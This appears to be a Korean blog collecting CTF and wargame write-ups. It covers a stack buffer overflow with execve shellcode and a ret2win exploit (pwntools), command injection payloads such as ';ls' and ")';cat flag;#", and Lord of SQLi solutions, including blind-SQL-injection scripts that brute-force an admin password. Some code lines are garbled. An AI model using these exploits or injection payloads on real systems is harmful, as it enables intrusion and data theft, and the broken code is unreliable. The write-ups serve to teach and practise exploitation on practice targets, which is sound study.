문제 파일을 file 명령어로 확인해보면 64비트 실행파일임을 확인할 수 있다.

파일을 실행해보면 buf주소를 출력하고, 입력을 받고 실행을 끝낸다.

checksec로 보호기법을 확인하면 다음과 같다.

NX보호기법이 걸려있지 않은걸로 보아 쉘코드도 삽입이 가능할 것 같다.

info func 명령으로 함수 목록을 봤을 때 main함수 말고 별 다른 함수 목록이 안보여서 main 함수의 어셈을 보면 다음과 같다.

0x6d30(27952)만큼의 크기에 gets함수로 입력을 받고있다.

gets함수가 끝난 main+96에 bp를 걸고 값을 입력하면 파일을 실행할 때 출력하는 buf 주소와 입력한 값이 들어간 주소가 동일함을 확인할 수 있다.

따라서 입력값에 쉘코드를 넣고 (27952(buf크기) - 쉘코드 길이) + 8(RET까지 거리)만큼 입력값을 채우고 buf의 주소를 받아서 넣으면 문제를 RET에 쉘코드가 들어간 buf주소가 들어가 쉘을 딸 수 있을 것 같다. 이를 파이썬 익스코드를 작성하고 실행하면 다음과 같이 쉘을 딸 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
 
#p = process("./Simple_size_bof")
= remote("ctf.j0n9hyun.xyz"3005)
 
p.recvuntil("buf: ")
buf = p64(int(p.recv(14), 16))
#print(buf)
shell = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
 
pay = shell + "A"*27930 + buf
#print(pay)
p.send(pay)
p.interactive()
cs

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] Offset  (0) 2021.05.13
[HackCTF] Simple_Overflow_ver_2  (0) 2021.05.10
[Hack CTF] x64 Buffer Overflow  (0) 2021.04.23
[LoS] skeleton  (0) 2020.11.10
[LoS] vampire  (0) 2020.11.10

파일 명령어로 바이너리 파일을 확인했을 때 64비트 실행파일임을 확인할 수 있었다.

checksec로 보호기법을 보니 NX가 적용되어 있어서 쉘 코드 삽입은 불가능할 것 같았다.

info func 명령을 통해 함수 목록을 보면 다음과 같다.

main, jump, get_flag 함수가 눈에 띈다.

각 함수들의 어셈 코드는 다음과 같다.

main 함수에서 jump 함수를 호출하고 있고, jump 함수에서는 gets 함수로 사용자의 입력을 받고 있다. get_flag 함수에서는 fopen함수로 파일을 열어 fread함수로 내용을 읽어 리턴하고 있다.

아이다의 헥스레이 기능을 이용하여 위 함수들을 확인하면 다음과 같다.

jump 함수에서 v1이라는 변수로 64바이트를 할당하고, gets함수로 v1에 값을 입력받는데, 입력받는 값의 길이에 대한 검증이 없어서 bof가 발생할 수 있다. jump 함수에서 bof를 발생시켜 get_flag 함수로 리턴하도록 하면 서버의 flag 파일을 읽어올 수 있을 것 같다. 따라서 payload를 다음과 같이 입력값에 64(v1크기) + 8(sfp 크기) 만큼 입력하고 리턴에 get_flag 함수 주소를 넣어서 get_flag 함수를 실행시키도록 하면 될 것 같다. 따라서 익스 코드는 다음과 같다.

1
2
3
4
5
6
7
8
9
from pwn import *
 
#p = process("./JNE")
= remote("chals5.umdctf.io"7003)
pay = "A" * 72
pay += p64(0x000000000040125d)
 
p.sendline(pay)
p.interactive()
cs

 

UMD CTF 후기 : 사실 가장 오랜 시간을 잡고 있던 문제는 JIE 문제 였는데 NX 보호기법이 적용되어 있지 않아서 쉘코드 삽입하는 문제라 생각하여 그 쪽으로 접근했는데 풀리지 않아서 아쉬웠다. 같이 문제푸신 팀원중 한 분이 ROP 기법으로 문제를 JIE를 포함한 다른 문제도 풀으셨는데 이것을 보고 포너블 기법 공부를 더 열심히 해야겠다는 동기 부여를 받은것 같다. JIE문제는 쉘코드를 삽입하여 푸는 방식으로 롸업이 올라온다면 한번 확인해보고 싶다.

문제 바이너리 파일을 file 명령어로 확인해보면 64비트 실행파일임을 확인할 수 있다.

실행해보면 두 값을 더해주는 프로그램인 것 같다.

아이다로 열어서 헥스레이 기능을 이용하여 main함수를 확인하면 다음과 같다.

시스템 함수로 파이썬명령어를 실행하여 두 값을 더하고 있다. 

)'; 으로 파이썬 명령어를 닫아주고 내가 원하는 다른 명령어를 실행시킬 수 있을 것 같다. 실행할 명령어를 작성한후 ;#을 붙이면 정상적으로 원하는 명령어를 실행하고 그 결과값을 볼 수 있다. #은 리눅스 쉘에서도 주석의 역할을 하기 때문에 #으로 시스템 함수에 들어가는 남은 파이썬 명령어를 주석처리하는 것이다.

ls명령어로 확인해보니 flag 파일이 있었고, cat flag 명령으로 flag를 확인할 수 있었다.

payload : )';cat flag;#

 

HackPack CTF 후기 : 푼 문제는 파이썬 코드를 닫고 원하는 명령어를 입력한 뒤 주석처리해서 이후 구문을 무시하여 원하는 명령어만 정상적으로 실행되도록 하여 풀었는데, 웹해킹을 공부할때 원하는 쿼리를 입력하고 주석으로 이후 구문을 무시한다는 점에서  기본적인 SQL Injection 과 비슷한 느낌을 받았다. 이 문제 외에 다른 문제들도 풀려고 시도해 보려 했지만 코드가 길어지고, 아직 포너블 기초밖에 공부가 되어있지 않다보니 꽤 오랜시간을 보고 생각나는 다양한 방법들로 구글링을 시도해 보았지만 역시 쉽지 않았다. 포너블 공부를 더 열심히 해야 겠다는 생각을 하게 되었고, 다양한 기법들을 공부해서 문제에 적용해야 겠다는 생각을 하게 되었다.

문제를 보면 id 값이 admin 이면 문제는 해결된다. preg_math() 함수로 필터링 하는 문자들을 보면 '(따옴표)를 필터링 하고 있고, admin 이라는 문자열을 필터링 하고 있다. 그러나 첫번째 preg_match() 함수를 보면 i 가 있고, 두번째는 i가없다. preg_match() 함수의 패턴 구분자 뒤의 'i'는 대소문자 무시를 하게 된다. 만약 두번째 preg_match() 함수에 'i' 가 있었다면 admin 이라는 문자열이든, Admin 이라는 문자열이든 대소문자 구분하지 않고 필터링 하게 된다. 그러나 지금 이 함수에는 'i' 가 없다. 또한 mysql은 대소문자 구분을 하지 않는다. 따라서 대문자로 우회할 수 있다.

 

payload : /?id=ADmin

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] skeleton  (0) 2020.11.10
[LoS] vampire  (0) 2020.11.10
[LoS] orge  (0) 2020.11.06
[LoS] darkelf  (0) 2020.11.03
[LoS] goblin  (0) 2020.11.03

문제를 보면 or과 and를 필터링 하고 있다. 문제를 풀려면 pw의 정확한 값을 알아내야 한다. pw의 정확한 값을 알아내기 위해 먼저 pw의 길이를 알아내고, 그다음에 정확한 값을 알아내야 한다. pw 길이를 알아내기 위해서는 orc 문제를 풀때 사용했던 것처럼 length() 함수를 사용할 것이고, 값을 알아내기 위해서는 substr() 함수를 사용할 것이다. 전체적인 코드는 orc 문제의 코드와 비슷하나 or 이라는 문자열이 필터링 되었기 때문에 동일한 역활을 하는 || 연산자로 우회를 하면 문제를 해결할 수 있다.

# los_orge.py
import requests
import re

headers = {'cookie': 'PHPSESSID=r6u3ju9bidkgqfvu2vtfc7h3cv;'}
url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php/'

pw_len = 0
pw = ''
tryList = list('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ')
# substr() 함수에서 대입할 문자들(숫자, 알파벳 대소문자)

# pw 길이 알아내기
while True:
    pw_len += 1
    payload = "?pw=' || length(pw)='" +str(pw_len)
    r = requests.get(url+payload, headers = headers)0
    if(re.findall('Hello admin', r.text)):
        break

print('password length : ' +str(pw_len))

# 정확한 값 알아내기
for i in range(1, pw_len+1):
    for j in range(len(tryList)+1):
        payload = "?pw=' || substr(pw," +str(i) +",1)='" +str(tryList[j])
        r = requests.get(url+payload, headers=headers)
        print(payload)

        if re.findall('Hello admin', r.text):
            print(tryList[j])
            pw += str(tryList[j])
            break

print('password : '+pw)

코드를 수행하면 다음과 같은 결과가 나오고 찾은 pw 값을 입력하면 문제가 해결된다.

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] vampire  (0) 2020.11.10
[LoS] troll  (0) 2020.11.06
[LoS] darkelf  (0) 2020.11.03
[LoS] goblin  (0) 2020.11.03
[LoS] orc  (0) 2019.11.29

문제를 보면 id 값이 admin 이여야 하고 preg_match() 함수를 통해 or과 and 가 필터링 되어 있다. 이 문자열들은 sql에서 ||(or) 연산자와 &&(연산자)도 같은 역활을 한다. 따라서 || 연산자를 활용하여 or 필터링을 우회할 수 있다.

/?pw='||id=admin 으로 쿼리를 주입하면 문제를 해결할 수 있다.

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] troll  (0) 2020.11.06
[LoS] orge  (0) 2020.11.06
[LoS] goblin  (0) 2020.11.03
[LoS] orc  (0) 2019.11.29
[LoS] cobolt  (0) 2019.11.26

문제 페이지에 들어가면 ping을 보낼 수 있는 기능이 있어 8.8.8.8로 핑을 보내보니 정상적으로 보내지는 것을 확인할 수 있었다. 

이 과정에서 서버의 ping 명령어를 사용하는 것을 알 수 있었고 다중 명령어 사용을 의미라는 세미클론(;)으로 ls명령를 사용하여 서버의 파일 목록들을 확인할 수 있었다.

payload = ;ls

파일 목록을 보니 print-flag 라는 파일이 있었고, 해당 url을 입력하여 이 파일을 다운로드 할 수 있었다.

payload = http://lowdeep.insomnihack.ch/print-flag

 

다운로드한 파일을 hxd로 확인해 보니 elf 파일 이였고, 파일의 가장 끝부분을 보면 플래그를얻을 수 있었다.

flag : INS{Wh1le_ld_k1nd_0f_forg0t_ab0ut_th3_x_fl4g}

'Security & Hacking > CTF Write Up' 카테고리의 다른 글

[Plaid CTF 2013] ropasaurusrex  (0) 2021.08.17
[CodeGate 2017] babypwn  (0) 2021.08.10
[pbctf 2020][web] Apoche I  (0) 2020.12.08
[2020riceteacatpanda]  (0) 2020.01.26

문제를 보면 pw 값이 admin의 pw값과 일치하면 문제를 풀 수 있는 것 같다.

blind sql injection 을 통해 pw를 알아낼 수 있을 것 같다.

pw 알아내는 과정을 두 단계로 설명해 보면 먼저 pw의 길이를 알아내고 알아낸 길이로 실제 pw 값을 알아낼 수 있다.

pw의 길이를 알아내는 방법은 length() 함수를 통해 알아낼 수 있고, pw 값은 substr() 함수를 통해 알아낼 수 있다.

length()는 문자열 길이를 반환하는 함수이고, substr()함수는 문자열을 특정 범위만큼 자르는 함수이다.

 

위 페이지에서는 쿼리의 조건이 참이면 "Hello admin"을 출력한다.

length() 함수를 이용하여 pw의 길이를 1부터 확인해 본 결과 pw의 길이는 8이였다.

query: ?pw=' or length(pw)=8--%20

pw의 값은 substr 함수로 1자리씩 참,거짓을 판단하여 구할 수 있다. 

이 과정을 사람이 수행하기에는 경우의 수가 너무 많기 때문에 파이썬으로 자동화 코드를 짜서 실행하였다.

import requests
import re

cookies = {"PHPSESSID": "38mrr1emu522is42ls4dq00svn"}
pwLen = 0
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
tryList = []
result = ""



for i in range(0,10):
    tryList.append(i)

for i in range(97, 123):  # 아스키 코드 값(영문 소문자)
    tryList.append(chr(i))


for i in range(1,100):
    lenPayload = "?pw=1' or length(pw)='" +str(i)
    new_url = url + lenPayload
    req = requests.get(new_url,cookies=cookies)

    if re.findall("<h2>Hello admin</h2>", req.text):        # pw 길이를 찾으면 길이를 저장하고 반복문 종료
        pwLen = i
        break

print("pw len : " +str(pwLen))



for i in range(1,pwLen+1):                         # pw 길이 만큼 반복
    for w in range(0,len(tryList)+1):              # 0~9 숫자 + 영소문자 갯수 만큼 반복
        par = "?pw=1' or substr(pw," +str(i) +",1)='" +str(tryList[w])      # pw 값을 1번째 자리부터 숫자, 영소문자를 대입하여 비교
        new_url = url + par
        req = requests.get(new_url,cookies=cookies)

        if re.findall("<h2>Hello admin</h2>", req.text):       # 결과가 참이면 해당 값을 저장하고 다음 자리로 넘어감
            print(tryList[w])
            result += str(tryList[w])
            break


print("password is " +result)

 위 코드를 수행하면 다음과 같은 결과값이 나오고, pw를 문제 페이지에 입력하면 문제가 해결된다.

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] darkelf  (0) 2020.11.03
[LoS] goblin  (0) 2020.11.03
[LoS] cobolt  (0) 2019.11.26
[LoS] gremlin  (0) 2019.11.26
[Wargame.kr] type confusion  (0) 2019.09.10

문제 코드를 보면 id 값이 있으면 문제가 풀린다.

또한 preg_match() 함수를 이용하여 _ , . 등의 문자등을 필터링 하고 있다.

필터링 하는 문자열에는 '(싱글쿼터)와 #(주석), or 등이 없다.

 

따라서 id 값에 or 연산으로 조건을 참으로 만들어 주면 문제가 해결된다.

query : ?id=admin' or '1'='1#

 

             

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] orc  (0) 2019.11.29
[LoS] cobolt  (0) 2019.11.26
[Wargame.kr] type confusion  (0) 2019.09.10
[Wargame.kr] tmitter  (0) 2019.09.07
[Wargame.kr] md5_compare  (0) 2019.09.03

문제 설명을 보면 간단한 비교 문제이고, 힌트는 이 문제의 제목이라고 한다.

 

문제 페이지를 보면 입력창만 하나가 있다.

소스코드를 보면 post 방식으로 입력받고 있는데,

json_decode() 함수로 입력 받은 값을 json 값으로 바꿔준다.

key 값이 true면 flag를 출력하는 것 같다.

post 방식으로 입력받기 때문에 프록시 툴을 이용해서 입력 값을 가로채주면 다음과 같은 값이 나온다.

이 값은 url 인코딩 된 값이기 때문에 decode 해주면 다음과 같이 {"key":"123"} 의 값이 나온다.

저 값에서 123을 true로 바꾼후 값을 전달해 주면 flag를 얻을 수 있다.

true는 문자열이 아닌 boolean형 자료형이기때문에 "값인 %22도 함께 삭제해야 한다.

 

 

알게된 점 : json 관련 취약점, php json_decode() 함수

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] cobolt  (0) 2019.11.26
[LoS] gremlin  (0) 2019.11.26
[Wargame.kr] tmitter  (0) 2019.09.07
[Wargame.kr] md5_compare  (0) 2019.09.03
[Wargame.kr] strcmp  (0) 2019.09.02

+ Recent posts